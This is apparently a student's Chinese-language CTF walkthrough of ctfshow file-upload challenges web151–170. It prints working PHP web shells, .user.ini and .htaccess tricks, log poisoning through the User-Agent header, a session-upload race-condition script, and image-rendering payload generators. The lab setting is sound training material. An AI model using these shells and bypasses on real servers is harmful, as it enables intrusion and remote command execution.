151.
我们首先想到就是上传一句话木马。但是看源代码限制了png。
(1)改前端代码。
这里是前端限制了上传文件类型,那我们就改一下就好了嘛,改成php。
这里直接修改不行,给大家推荐一篇简短文章,大家就会了(一开始我也不会,后面看了就懂)。
利用浏览器的开发者工具实时修改网页前端JS代码(实现绕过)_修改前端代码-****博客
空白页面,应该成功。
之后就蚁剑连接。
(2)还有一种方法,我们可以不改前端,上传png文件。然后bp抓包,然后在bp里面改。
所以我先创立一个txt文件,里面写一句话木马,然后将后缀改为png。然后上传。注意:
打开bp,然后再打开,抓去到上传时的数据。
修改filename。然后上传成功。post传参即可。
CTF show 文件上传篇(web151-170,看这一篇就够啦)_ctfshow web151-****博客
152.
像上题一样更改前端校验,上传php文件显示不符合上传类型。这一关与上一关的不同之处便是多了个 Content-Type
,所以我们单靠修改前端代码是无法绕过的.
需要上传规定的png文件,所以将php后缀改成png,再上传,就是上面第二种方法。然后蚁剑连。
153.
有点不会,先看个文章,里面有例子比较容易懂。
.user.ini导致文件上传绕过 - sijidou - 博客园
文件上传漏洞 — .user.ini绕过、后缀大小写绕过_.user.ini 文件上传漏洞-****博客
.user.ini的作用
1.配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。
2.特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置。
利用 .user.ini 绕过限制
由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:
文件上传限制:
如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
脚本执行时间:
恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
内存限制:
增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
PHP 文件包含漏洞
auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行
显然,这里就是利用其进行php文件包含漏洞。先创个.user.ini.txt,里面写 auto_prepend_file=shell.png。然后将txt改成png上传。
这串内容的意思就是,在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行
再上传shell.png(里面写了一句话木马)。
然后蚁剑连接。
不要跟上shell.png这个文件名!!!
权限问题:上传后的文件是否有执行权限。
路径问题:确保.user.ini和shell.php都在同一目录或者正确的路径。
环境限制:目标服务器是否允许.user.ini覆盖配置。
安全机制:允许.user.ini文件,对于上传的图片马无条件接收,并没有检验内容和文件头
CTF show 文件上传篇(web151-170,看这一篇就够啦)-****博客
154.
利用允许.user.ini文件,对于上传的图片马验证不严格,并没有彻底检验文件内容
<?=eval($_POST[1]);?> ( 过滤了php ,使用短标签 )
<?=`$_POST[1]`;?>
(过滤了eval, 使用反引号)
<script language='php'>@eval($_POST[1])</script> ( 过滤了? )
<?php eval($_POST{1});?> (有时候[]被过滤了, 可用 {} 可代替 [] )
首先上传.user.ini,然后上传shell.png,然后上传不了,猜测php被过滤,换成段表签形式上传,成功。跟上面就这里的区别吧,其它都一样。
155.
与154一模一样。
156.(PHP与[]绕过)
.user.ini依旧可以上传成功,但是shell不行。
成功了。看来是过滤了[].我们将[]替换成{}。({}是[]的平替)
然后就是蚁剑。
157.
.user.ini上传成功,然后shell还是不成功。用bp调一下。删了;与{}上传成功。(这里是在上文的基础上,所以也禁用了php,[])
这里一句话木马没用了,那我们就执行命令。
没有。就到上一级。
找到了,嘿嘿嘿。
158.
跟上题一模一样,没话说。
159.
依旧上传user.ini
没有用了。
发现删除()上传成功,所以过滤()。
()不能用,用反引号执行命令。
160.
还是先上传.user.ini
使用上面方法,失败。
看wp是过滤了反引号。那就用日志包含。
<?=include"/var/log/nginx/access.log"?>
上面失败了,发现是过滤log。所以".'绕过。
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
upload/看看。看来是成功了。
发现日志文件会记录我们的UA头,我们可以将恶意代码放入UA头中来获取flag
查看源码。
161.
上传失败,应该是文件头有限制,加上gif文件头就对了。
同理上次shell。
然后改UA
162.(条件竞争)
说实话,看不懂,直接上大佬链接。我跟着复现一遍吧。
CTF show 文件上传篇(web151-170,看这一篇就够啦)_ctfshow web151-****博客
GIF89a
auto_append_file=/tmp/sess_zho
然后脚本。
import requests
import threading
import re
# 创建一个会话对象,保持会话的状态
session = requests.session()
# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'
# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"
# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}
# 要上传的文件数据
file = {
'file': '111' # 文件名可以随意设置
}
# 设置会话cookie
cookies = {
'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}
# 定义上传文件的函数,持续发送POST请求
def upload_file():
while True:
session.post(url1, data=data1, files=file, cookies=cookies)
# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
while True:
response = session.get(url2) # 访问目标URL,检查是否能获取到flag
if 'flag' in response.text: # 检查返回内容中是否包含flag
# 正则匹配flag,格式为ctfshow{}
flag = re.search(r'ctfshow{.+}', response.text)
if flag:
print(flag.group()) # 如果找到flag,打印它
# 创建两个线程,一个上传文件,一个检查flag
threads = [
threading.Thread(target=upload_file),
threading.Thread(target=check_flag)
]
# 启动所有线程
for t in threads:
t.start()
原理看看上2面的文章吧。
163.
方法和上面的一样、
164
看不懂,直接附上wp,CTF show 文件上传篇(web151-170,看这一篇就够啦)-****博客
<?php
$p = array(
0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33
);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y + 1];
$b = $p[$y + 2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img, './1.png');
?>
先脚本生成一个图片马,然后上传。 然后bp可以看到木马。
上传后查看图片然后在bp里修改参数(因为木马在图片里)。
然后就是传参了。
POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system
1=ls
ls发现啥也没有。
请求头修改Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字
段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这
个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。
再执行命令即可。
165.(jpg二次渲染)
先找张jpg图片,然后上传,经过一次渲染。
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
然后经过代码向图片注入木马。 在终端输入PHP 代码文件 图片文件。这里看到我试了很多。
上传二次渲染。查看图片一般如果显示了图片,说明二次渲染后木马还在。
不放心可以010查看,发现木马还在。
接下来就是命令执行,注意改post,还有加content-type头。
此题太难了,写了2小时,因为我总是没找到合适的图片,二次渲染总是将我的木马搞没了。
经过二次渲染的jpg图片 - 搜索
我找的图片是这个,大家可以拿去用。
166.。
这题有很多解法,解法一是随便上传一个压缩包,然后bp抓包后执行命令。
ctfshow web入门文件上传web151————web170(完整)_ctf web170-****博客
第二种解法是在压缩包里面插入一个木马,怎么插?我们可以在010里面改,直接将一些字符换成木马。
然后上传文件,然后下载文件时抓包。这里注意要改post,然后加content-type头。
CTF show 文件上传篇(web151-170,看这一篇就够啦)-****博客
这两个方法都差不多。这题我做了很久,原因是开始没改post,然后就是没加content-type头。
167.
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这个大概意思是shell.jpg会被当做php文件执行
我们首先肯定是要传一个jpg文件,然后抓包后就改成htaccess。
然后上传图片马。蚁剑连接时url/upload/shell.jpg
这里我放犯了一个错误,开始的图片马我是将木马写入一个txt文件,然后改成jpg文件,然后不行,后面想了一下,htaccess将图片马视为php文件执行,所以我将木马写入php文件,然后再改成jpg,最后成功。这与user.ini不同。
168.(基础免杀 关键词绕过)
fuzz发现反引号没查杀,可以用反引号。
169.user.ini的利用。
.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用
也就是说,.user.ini的同级目录中必须存在php文件才能进行利用
先上传一个zip(前端限制),然后改后缀 ,由于后端限制png,还要改png
然后上传user.ini(利用日志文件,上传木马不行)
auto_prepend_file=/var/log/nginx/access.log
然后在访问shell.php,再改ua头
发现文件
下面就没什么好讲的了。
这题先绕过前端与后端限制,然后利用要改成一个php文件上传,因为user.ini必须需要目录下有php文件,然后user.ini写入日志文件。接着就是访问刚刚的php文件,然后就是在ua头写入命令即可。user.ini的传入与php传入不分先后。但是好像先传user.ini更简单一点,下一题一样的题型,我换个顺序写写。\
170.
上还是先随便上传一个压缩包,然后改成user.ini。写入日志文件。
auto_prepend_file=/var/log/nginx/access.log
不用重复抓包,直接改成shell.php.
看来这种顺序更加简便。
本文参考CTF show 文件上传篇(web151-170,看这一篇就够啦)-****博客
ctfshow web入门文件上传web151————web170(完整)_ctfshow 文件上传151-****博客